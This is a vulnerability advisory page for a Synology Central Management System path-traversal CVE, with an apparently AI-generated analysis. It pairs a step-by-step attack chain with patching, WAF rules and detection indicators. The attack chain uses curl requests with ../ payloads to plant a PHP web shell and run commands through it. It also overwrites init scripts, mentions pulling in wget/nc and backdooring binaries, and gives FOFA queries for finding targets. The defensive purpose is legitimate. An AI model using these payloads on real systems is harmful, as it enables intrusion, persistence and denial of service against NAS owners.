CVE Professor
/
All CVEs
CVE-2026-19689

CVE-2026-19689 — Synology Central Management System (3.2.1-1259) — CWE-22

HIGH CVSS 8.7 ⚡ EPSS 0.9% NVD

An improper limitation of a pathname to a restricted directory vulnerability in Central Management System package in DSM before 2.1.5-0744, 3.1.2-1025, and 3.2.1-1259 allows remote authenticated users with administrator privileges to write arbitrary files and conduct denial-of-service attacks in DSM.

An improper limitation of a pathname to a restricted directory vulnerability in Central Management System package in DSM before 2.1.5-0744, 3.1.2-1025, and 3.2.1-1259 allows remote authenticated users with administrator privileges to write arbitrary files and conduct denial-of-service attacks in DSM.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. High PR:H
User Interaction None UI:N
Scope Changed S:C
Confidentiality None C:N
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.9%
30-day probability
In the 61. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑19689 is a Path Traversal (CWE‑22) in the Synology Central Management System (CMS) package that ships with DiskStation Manager (DSM).

CVSS 3.1VectorInterpretation
AV:NNetwork‑reachable – the attacker can reach the vulnerable HTTP(S) service from anywhere.
AC:LLow attack complexity – only a single crafted request is required.
PR:HHigh privileges – the attacker must already be an authenticated DSM administrator (the CMS UI only accepts admin‑level accounts).
UI:NNo user interaction – the request is sent automatically.
S:CScope = Changed – the impact spreads from the CMS component to the whole DSM host.
C:NNo confidentiality loss – the flaw does not directly expose data.
I:HHigh integrity impact – arbitrary files can be written, allowing tampering of system binaries, configuration files, or web‑accessible scripts.
A:HHigh availability impact – writing to critical files (e.g., /etc/passwd, init scripts) can crash services or render the NAS unbootable.

Technical root cause
The CMS package implements a “file‑write” or “configuration‑import” routine that concatenates a user‑supplied pathname to a hard‑coded base directory (e.g., /usr/syno/etc/cms/). The code fails to canonicalise the supplied value nor to reject sequences such as ../ or absolute paths (/). Consequently an administrator can cause the server‑side routine to open a file outside the intended sandbox and write attacker‑controlled data. Because the routine runs with the same privileges as the DSM web service (root‑equivalent), the attacker can overwrite any file that the web server can write to, including system binaries, init scripts, or the DSM web UI itself.

The same flaw can be abused for Denial‑of‑Service (DoS): by writing a huge payload to a critical configuration file or by truncating a required script, the CMS (and therefore the whole DSM) can be forced to restart or crash.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI and parameter names are illustrative because the public advisory does not disclose the precise endpoint.

1. Discovery & Reconnaissance

StepActionReasoning
1.1Fingerprint DSM version – query http://<target>/webapi/query.cgi?api=SYNO.API.Info&method=Query&version=1 (or use Nmap service detection).The response contains DSM version and installed packages, including the CMS version (3.2.1-1259, 3.1.2-1025, 2.1.5-0744).
1.2Enumerate installed packages – call SYNO.CMS.Package API (e.g., GET /csm/api/v1/package/list).Confirms that the vulnerable CMS package is present and that the attacker has a valid admin session cookie (id=...; ds=...).
1.3Validate admin credentials – log in via the standard DSM login endpoint (/webapi/auth.cgi) and capture the session cookie.The CVE requires an *authenticated* admin; this step proves the attacker can obtain such a cookie (e.g., via credential reuse, phishing, or insider access).

2. Exploitation

Note: The following request is an illustrative example of the vulnerable functionality. The real CMS may expose a different path (/csm/api/v1/file/upload, /csm/api/v1/config/import, etc.). The critical element is a user‑controlled pathname that is concatenated to a base directory without sanitisation.

2.1 Craft the traversal payload

Goal: Write a web‑shell (<?php system($_GET['cmd']); ?>) into the DSM web UI directory (/var/services/web/).

payload_path = "../../../../../../var/services/web/shell.php"

The number of ../ sequences depends on the depth of the CMS base directory (typically 5–6 levels).

2.2 Send the malicious request

# 1️⃣ Obtain a valid admin session cookie (example)
ADMIN_COOKIE="id=1234567890; ds=abcdef1234567890"

# 2️⃣ POST the file‑write request (illustrative endpoint & parameters)
curl -k -X POST "https://target.example.com/csm/api/v1/file/write" \
     -H "Cookie: $ADMIN_COOKIE" \
     -H "Content-Type: multipart/form-data" \
     -F "path=$payload_path" \
     -F "data=<?php system($_GET['cmd']); ?>"

What happens internally

1. CMS receives path and data.
2. It builds the absolute path: BASE_DIR + '/' + path.
3. No canonicalisation → the resulting path resolves to /var/services/web/shell.php.
4. The routine opens the file for write (mode w) and writes the supplied PHP code.
5. Because the web service runs as root (or a privileged DSM user), the file is created with sufficient permissions to be executed by the DSM HTTP server.

2.3 Verify the write

curl -k "https://target.example.com/shell.php?cmd=id"

A successful response (uid=0(root) gid=0(root)) proves arbitrary file write and remote code execution (RCE) via the uploaded web‑shell.

2.4 Denial‑of‑Service variant

Instead of a PHP shell, an attacker can overwrite a critical init script:

payload_path="/etc/init.d/synology"
curl -k -X POST "https://target.example.com/csm/api/v1/file/write" \
     -H "Cookie: $ADMIN_COOKIE" \
     -F "path=$payload_path" \
     -F "data=# corrupted script that exits immediately"

When DSM attempts to start the service, it fails, leading to a partial or total outage.

3. Post‑Exploitation

PhaseActionResult
3.1Use the uploaded web‑shell to download additional tools (e.g., wget, nc) or to pivot to other services on the NAS.Full control of the host, ability to exfiltrate data, install persistence.
3.2Replace system binaries (e.g., /usr/sbin/synodsm) with a back‑doored version, then restart DSM (/usr/syno/sbin/synoservice --restart).Persistent root‑level backdoor that survives reboots.
3.3If only DoS is desired, overwrite /etc/passwd or a critical configuration file, causing the DSM boot process to abort.Immediate service disruption, forcing the victim to restore from backup.

🌍 Real‑World Impact

CIAImpact (derived from CVSS)Practical consequences
Confidentiality (C:N)No direct data leakage from the vulnerability itself.However, once a web‑shell is planted, the attacker can read any file, leading to secondary confidentiality breaches.
Integrity (I:H)Arbitrary file write → attacker can tamper with binaries, configs, or inject malicious scripts.System compromise, credential theft, creation of persistent backdoors, defacement of web UI.
Availability (A:H)Overwriting critical files or filling disk space can crash DSM services or render the NAS unbootable.Complete outage, loss of business continuity, costly recovery from backups.
Scope (S:C)The flaw is confined to the CMS component but propagates to the entire DSM host because the CMS runs with system‑wide privileges.A single vulnerable package compromises the whole appliance.

Typical victims – enterprises that rely on Synology NAS for file sharing, backup, or surveillance storage and have enabled Central Management System to manage multiple DSM devices from a central console.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

Affected packageFixed in (as per vendor advisory)
Central Management System 2.1.5‑0744≥ 2.1.5‑0750 (or the next release after 2.1.5‑0744)
Central Management System 3.1.2‑1025≥ 3.1.2‑1030
Central Management System 3.2.1‑1259≥ 3.2.1‑1265

Action: Log in to DSM → Package Center → Installed → select Central Management System → click Update. Verify the version string after the upgrade.

2. Immediate Work‑arounds (if patch cannot be applied)

MitigationHow to implement
Restrict admin remote accessIn Control Panel → Security → Account, disable “Allow DSM to be accessed from the Internet” for accounts that do not require remote admin.
Network segmentationPlace the CMS host behind a firewall that only permits trusted management IPs (e.g., corporate LAN, VPN).
WAF / ModSecurity rule (example)Block any request that contains ../ or an absolute path in parameters that are likely to be used for file operations. <br><br>``SecRule ARGS_NAMES "@rx ^(pathfilenamedest)$" "phase:2,deny,status:403,msg:'Potential path‑traversal in CMS file‑write',id:20262689,tag:'cve-2026-19689'"`<br>`SecRule ARGS "@rx \.\./" "phase:2,deny,status:403,msg:'Path traversal payload detected',id:20262690,tag:'cve-2026-19689'"`
Disable the vulnerable APIIf the CMS is not used for automated provisioning, edit /etc/synoinfo.conf (or the package’s config file) to set enable_file_write_api = false and restart the CMS service (synoservice --restart pkgctl-CMS).
File‑system hardeningMount critical directories (/etc, /usr/sbin) with nosuid,nodev,noexec where possible, and set chmod 750` on the CMS base directory to limit write permissions to the CMS service user only.

3. Detection – Indicators of Compromise

Log sourceTypical pattern
DSM web server access log (/var/log/nginx/access.log)POST /csm/api/v1/file/write (or any CMS endpoint) with a path parameter containing ../ or an absolute path. Example: POST /csm/api/v1/file/write HTTP/1.1" 200 45 "-" "Mozilla/5.0" and the query string path=../../../../etc/passwd.
CMS audit log (/var/log/cms.log)INFO - File write request – user=admin – target=/var/services/web/shell.php.
File system monitoring (e.g., auditd or inotify)Creation of new files in /var/services/web/ or overwriting of files under /etc/ by the http/synology user.
Process monitoringUnexpected restart of synoservice --restart pkgctl-CMS shortly after a file‑write request.
Network IDSOutbound HTTP GET to */shell.php?cmd=* from the NAS IP address.

Response: On detection, immediately isolate the device, revert any modified files from a known‑good backup, and force password rotation for all admin accounts (the attacker already had admin credentials, so credential hygiene is essential).


⚠️ Urgency

  • CVSS 8.7 (High) – the vulnerability provides remote, low‑complexity, high‑impact file‑write capabilities once an admin account is compromised.
  • No CISA KEV listing – the vulnerability is not yet flagged as a “Known Exploited Vulnerability”, but the attack complexity is low enough that private exploit code is likely to appear quickly.
  • Prerequisite – admin credentials – while the attacker needs a valid admin session, such credentials are frequently obtained through credential‑stuffing, phishing, or insider compromise in enterprise environments.
Patch priority: Critical for any DSM that runs the Central Management System package. Deploy the vendor fix within 24 hours of identification, and apply the mitigations above if immediate patching is not possible.
Bottom line: CVE‑2026‑19689 lets an authenticated DSM administrator write arbitrary files anywhere on the host, enabling full system compromise or total denial‑of‑service. The fix is a straightforward package upgrade; until then, enforce strict network segmentation, block path‑traversal payloads at the WAF, and monitor for the IOCs listed above.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Synology Central Management System"
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (3)
Synology:Central Management System (3.2.1-1259) Synology:Central Management System (3.1.2-1025) Synology:Central Management System (2.1.5-0744)
References & Advisories (1)
Related CVEs
10.0
CVE-2026-13136
An incorrect authorization in the remote service of Synology MailPlus Server before 4.0.1-21663 and 4.0.1-3166
9.9
CVE-2026-18919
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
9.9
CVE-2026-19214
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
9.9
CVE-2026-19215
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-145055
PraisonAI pip praisonai before 4.8.0, praisonaiagents and npm praisonai before 1.8.0, and praisonai-bot, prais
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L